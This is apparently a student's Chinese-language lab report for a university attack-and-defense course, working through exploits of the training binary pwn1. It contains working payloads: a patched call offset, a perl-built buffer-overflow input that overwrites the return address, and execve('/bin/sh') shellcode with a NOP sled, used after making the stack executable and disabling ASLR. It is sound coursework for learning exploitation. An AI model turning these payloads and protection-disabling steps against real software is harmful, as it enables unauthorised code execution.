20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
1.1通过学习、分析可执行文件pwn1,学习了三种漏洞利用技术:
-
直接修改程序机器指令:通过修改 call指令的跳转地址,强制程序执行原本不会运行的 getShell函数
-
缓冲区溢出攻击(BOF):通过构造超长输入覆盖返回地址,劫持程序执行流至 getShell
-
Shellcode注入:向栈中注入自定义机器指令(如反弹Shell),并利用溢出跳转至该指令
1.2关键知识点:
-
ELF文件结构
-
反汇编分析(objdump)
-
栈帧布局
-
返回地址覆盖
-
EIP控制
-
Shellcode编写
-
NOP雪橇
-
地址对齐
2.实验过程
2.1 直接修改程序机器指令,改变程序执行流程
2.1.1下载目标文件pwn1,并做反汇编

- 可以看到,call 8048491,将调用位于地址8048491处的foo函数,对比发现发现 call foo的机器指令为 e8 d7ffffff跳转偏移 -41)
2.1.2计算新偏移
- getShell地址 0x0804847d,call下条指令地址 0x080484ba,偏移量 0x7d-0xba=0xffffffc3
2.1.3修改指令

- 将 d7改为 c3
![54a02635e0093120e27609ecc54b25e6]()
![bf19fa6efb2e58c1298374ac20862244]()
- 验证修改后程序直接执行getshell
![408dc6f0a69084ff2e3126c43950dca3]()
- 在这里碰到一点小问题,经过查询最后得以解决,会在后面介绍
2.2构造输入参数,造成BOF攻击,改变程序执行流
2.2.1反汇编确认存储位置结构

0804847d <getShell>:804847d: 55 push %ebp804847e: 89 e5 mov %esp,%ebp8048480: 83 ec 18 sub $0x18,%esp8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)804848a: e8 c1 fe ff ff call 8048350 <system@plt>804848f: c9 leave 8048490: c3 ret == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==08048491 <foo>:8048491: 55 push %ebp8048492: 89 e5 mov %esp,%ebp8048494: 83 ec 38 sub $0x38,%esp8048497: 8d 45 e4 lea -0x1c(%ebp),%eax804849a: 89 04 24 mov %eax,(%esp)== 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==804849d: e8 8e fe ff ff call 8048330 <gets@plt>80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax80484a5: 89 04 24 mov %eax,(%esp)80484a8: e8 93 fe ff ff call 8048340 <puts@plt>80484ad: c9 leave 80484ae: c3 ret 080484af <main>:80484af: 55 push %ebp80484b0: 89 e5 mov %esp,%ebp80484b2: 83 e4 f0 and $0xfffffff0,%esp80484b5: e8 d7 ff ff ff call 8048491 <foo>==上面的call调用foo,同时在堆栈上压上返回地址值:\x7d\x84\x04\x08== 80484ba: b8 00 00 00 00 mov $0x0,%eax80484bf: c9 leave 80484c0: c3 ret 80484c1: 66 90 xchg %ax,%ax80484c3: 66 90 xchg %ax,%ax80484c5: 66 90 xchg %ax,%ax80484c7: 66 90 xchg %ax,%ax80484c9: 66 90 xchg %ax,%ax80484cb: 66 90 xchg %ax,%ax80484cd: 66 90 xchg %ax,%ax80484cf: 90 nop080484d0 <__libc_csu_init>:
2.2.2确认字符串溢出字符个数

- 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell
2.2.3构造输入字符串
- 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

-
可以看到输出如预期
![image]()
-
然后将input的输入,通过管道符“|”,作为pwn1的输入,可以看到运行成功
2.3注入Shellcode并执行
2.3.1准备工作
- 准备一段shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 设置堆栈可执行
sudo apt install patchelf
- 验证是否成功
patchelf --set-execstack pwn1
- 输出 RWE(Read-Write-Execute),说明栈可执行
![7451f99576ea92a16082ebc0fb5e4b85]()
- 关闭地址随机化
![46743a7fbf8260bc06c660f461ae16d4]()
2.3.2开始攻击
- 打开两个终端,一个终端注入下方这段攻击,另一个开始调试
(cat input_shellcode;cat) | ./pwn1

- 能够从上面找到esp地址为0xffffd36c,注意这与实验指导文件不一样,需要自行计算,根据实验指导书,地址需要+4,即0xffffd370
- 故构造并注入下方,攻击成功
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

2.4结合nc模拟远程攻击
- 用终端模拟主机。主机1,模拟一个有漏洞的网络服务;主机2,连接主机1并发送攻击载荷
![c02effdf907b41aa0b352461756a5b49]()
3.问题及解决方案
- 问题1:execstack命令不可用
- 问题1解决方案:通过查询得知,Kali Linux 2023+ 移除了 execstack,通过询问AI,改用patchelf,通过输入下方代替execstack使用。
patchelf --set-execstack ./pwn1
- 问题2:在运行pwn1的时候碰到了报错zsh: permission denied: ./pwn1
- 问题2解决方案:通过查询得知,是用户的权限不足(不小心将文件放在桌面上了),通过查询得到下方命令,添加执行权限,得以解决
chmod +x ./pwn1
4.学习感悟、思考等
-
漏洞利用的本质是通过输入控制程序执行流,关键在于算好计算偏移量和地址。
-
防御机制(如栈和堆不可执行、地址随机化)大幅增加攻击难度,需结合信息泄漏(objdump)绕过。
-
工具链的差异(如 execstack被弃用)要求灵活适应环境变化。
-
实践价值:理解漏洞原理后,能更有效地编写安全代码(如避免 gets
参考资料
- 腾讯元宝
- 通义千文







